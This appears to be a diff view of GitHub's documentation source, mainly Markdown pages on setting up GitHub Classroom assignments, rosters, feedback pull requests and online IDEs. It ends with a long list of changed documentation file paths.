%}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 